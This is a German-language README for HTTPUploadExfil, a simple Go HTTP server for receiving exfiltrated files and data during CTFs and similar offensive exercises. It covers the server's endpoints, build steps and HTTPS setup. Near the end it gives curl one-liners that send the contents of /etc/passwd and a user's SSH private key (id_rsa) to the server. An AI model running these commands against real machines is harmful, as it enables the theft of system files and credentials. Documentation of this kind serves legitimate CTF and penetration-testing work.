
Ein einfacher HTTP-Server zum Bereitstellen und Exfiltrieren von Dateien/Daten während, zum Beispiel, CTFs.
HTTPUploadExfil ist ein (sehr) einfacher HTTP-Server, geschrieben in Go, der nützlich ist, um Dateien (und andere Informationen) von einem Rechner über HTTP zu übertragen. Obwohl es viele Anwendungsfälle gibt, ist es für den Einsatz in offensiven Szenarien mit geringem Risiko (z. B. CTFs) gedacht.
Stellen Sie es sich als python3 -m http.server vor, aber zum Herunterladen von Daten von einem Rechner anstatt auf den Rechner.
Offensichtlich ist dies eine sehr laute und etwas eingeschränkte Methode der Datenexfiltration. Dennoch ist sie recht praktisch und etwas einfacher als beispielsweise die Verwendung von SMB oder FTP. Wenn Sie nach etwas Eleganterem suchen, werfen Sie einen Blick auf dnsteal oder PyExfil.
go build../httpuploadexfil :1337 /home/kali/loot auf Ihrem Rechner aus.http://IHRE_IP:1337/ auf dem Rechner auf, von dem Sie Daten exfiltrieren möchten./home/kali/loot.Wenn Sie HTTPs benötigen, beachten Sie die Informationen unten.
Sie können auch Binärdateien für Linux und Windows von GitHub herunterladen. Diese Binärdateien entsprechen jedoch nicht unbedingt den aktuellsten Änderungen.
Obwohl Binärdateien verfügbar sind, wird dringend empfohlen, dies selbst zu erstellen. So haben Sie die neueste Version und wissen genau, was Sie ausführen. Der Vorgang ist einfach:
Führen Sie einfach go build im Ordner aus, und Sie sollten eine ausführbare Datei httpuploadexfil für Ihre Plattform erhalten.
Wenn Sie Änderungen am Tool vornehmen, denken Sie daran, es mit go fmt main.go zu formatieren.
Alternativ können Sie auch make verwenden, um das Tool zu erstellen. Sie können auch make cert ausführen, um SSL-Zertifikate zu generieren (siehe unten).
Der häufigste Anwendungsfall ist der Betrieb des Servers auf Maschine A. Auf Maschine B rufen Sie dann das Upload-Formular mit einem Browser auf und wählen eine zu exfiltrierende Datei aus. Natürlich kann dies, wie unten gezeigt, auch mit curl erfolgen.
Neben dem Hochladen von Dateien können Sie HTTPUploadExfil auch verwenden, um Daten mit einfachen GET-Anfragen zu exfiltrieren. Wenn eine Anfrage an den \g-Endpunkt gesendet wird, wird die gesamte Anfrage auf der Festplatte gespeichert.
Daher können Sie Daten über den Header der Anfrage exfiltrieren. Am einfachsten ist die Verwendung von GET-Parametern (z. B. ?data=...), aber es gibt andere Optionen.

Standardmäßig wird HTTPUploadExfil auf Port 8080 bereitgestellt. Alle Dateien werden in das aktuelle Verzeichnis geschrieben.
./httpuploadexfil
Sie können auch einige Argumente angeben:
./httpuploadexfil :1337 /home/kali/loot
Wenn Sie eine Protokollierung der Anfragen benötigen, übergeben Sie das -log-Flag wie folgt:
./httpuploadexfil -log
Das erste Argument ist eine Bindungsadresse, das zweite der Ordner zum Speichern von Dateien.
Das Tool stellt auch die Dateien im Loot-Verzeichnis unter dem /l-Endpunkt bereit. Dies kann als einfacher Weg genutzt werden, um Dateien auf das Ziel zu bringen.
Der Webserver stellt vier Endpunkte zur Verfügung:
/ (GET) ist das Upload-Formular./p (POST) nimmt die Daten aus dem Upload-Formular entgegen. Es erfordert eine multipart/form-data-Anfrage mit dem ausgefüllten file-Feld./g (GET) nimmt jede GET-Anfrage entgegen und speichert die vollständige Anfrage auf dem Server./l (GET) gewährt Zugriff auf Dateien im angegebenen Ordner (Verzeichnisliste). Dies dient zur Bereitstellung der grundlegenden Funktionalität von python3 -m http.server.HTTPUploadExfil kann auch im HTTPs-Modus verwendet werden. Platzieren Sie dazu einfach eine Datei HTTPUploadExfil.csr und HTTPUploadExfil.key neben der Binärdatei. Diese können beispielsweise wie folgt generiert werden:
openssl req -new -newkey rsa:2048 -nodes -keyout HTTPUploadExfil.key -out HTTPUploadExfil.csr
openssl x509 -req -days 365 -in HTTPUploadExfil.csr -signkey HTTPUploadExfil.key -out HTTPUploadExfil.csr
Dazu können Sie auch make cert ausführen.
Wenn der Server eine Datei HTTPUploadExfil.csr sieht, wird er versuchen, im HTTPs-Modus zu starten. Um zurück zu HTTP zu wechseln, entfernen oder benennen Sie die Zertifikatsdateien einfach um.
Mit Bash können wir Daten per GET exfiltrieren, z. B.:
echo "data=`cat /etc/passwd`" | curl -d @- http://127.0.0.1:8080/g
Natürlich können wir auch curl verwenden, um Dateien zu exfiltrieren:
curl -F file=@/home/kali/.ssh/id_rsa http://127.0.0.1:8080/p
python3 -m http.server bereitstellen)